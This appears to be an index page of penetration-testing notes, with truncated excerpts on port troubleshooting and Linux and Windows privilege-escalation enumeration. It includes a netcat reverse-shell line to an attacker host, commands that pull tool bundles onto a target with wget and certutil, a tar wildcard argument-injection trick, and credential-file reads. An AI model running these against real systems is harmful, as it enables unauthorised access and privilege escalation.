-
Enumeration Code execution I am stuck
-
What to do if all ports seemed to be closed? Open Wireshark and monitor it during a full TCP scan Scan also all UDP ports Filter in Wireshark where the target connected back to you. Port knocking? Can you trigger the server via a third-party? Or does it change a behviour time-based?
-
Prepare the own system: cd p151.general.1 ./scripts/update_privesc_scripts.sh cd scripts/privesc/linux python -m SimpleHTTPServer 80 Prepare the target: cd /dev/shm wget http://$attackerip/_ex.tar tar xf _ex.tar script Now, execute it: LinPeas: ./linpeas.sh LinEnum: ./LinEnum.sh linux-smart-enumeration: ./lse.sh ‑l1 linux-exploit-suggester‑2: ./linux-exploit-suggester‑2.pl sudo-killer: ./SUDO_KILLERv2.0.5.sh linuxprivchecker: ./linuxprivchecker.py Finally: Copy typescript file to the PentestManager!
-
Additional ideas Environment exploitation Interpolation exploitation Prerequisites: Then, create a file in a directory which is names like parameters from the program. The program will interpret the filenames as arguments. Example: Assume there is a call like this in a script: tar czf /tmp/backup.tar.gz * The script is in /home/peter and because we are this…
-
If your console is narrow, widen it at the beginning: stty rows 50 cols 200 Consider to directly spawn another reverse shell: nc -e /bin/sh $attackerip 4444 & Basic enumeration about the host idgroupscat /etc/passwdcat /etc/groupcat /etc/hostscat /etc/fstabuname -a // Check for kernel exploits // ALSO search for kernel exploits with OS name! // If this…
-
Prepare the own system: cd p151.general.1/scripts/privesc/windows python -m SimpleHTTPServer 80 Prepare the target: set NTPSRV=$ownIp mkdir C:\Windows\System32\spool\drivers\color\wsc cd C:\Windows\System32\spool\drivers\color\wsc Download most scripts at once (>30 MB!): certutil.exe -urlcache -split -f "http://$NTPSRV/7za.exe certutil.exe -urlcache -split -f "http://$NTPSRV/_ex.zip 7za.exe x _ex.zip WinPeas Github winPEAS.batwinPEASx86.exewinPEASx64.exe Powerless Github certutil.exe -urlcache -split -f "http://$NTPSRV/Powerless.bat" Powerless.bat Powerless.bat Windows Exploit Suggester NG Github…
-
dir General: Usual commands: Therefore: Remember to use dir /R /as /ah -force. tree Start with creating a list of all directories and files. Download it. It’s way easier to look in a local editor and it’s stored for the future as well. tree c:\ > C:\Windows\Temp\dsys\dirs.txtdir /s /R /as /ah c:\ > C:\Windows\Temp\dsys\files.txt(Download the files)…
-
General system enumeration Get general information about the OS: systeminfo Get the environment variabes: set Enumerate cached credentials: cmdkey /list If the current system is not known yet, try to determine the version via one of the following files: Processes enumeration tasklist /Vtasklist /V | find "cmd.exe" // Search for a commandtasklist /V /fi "USERNAME eq NT…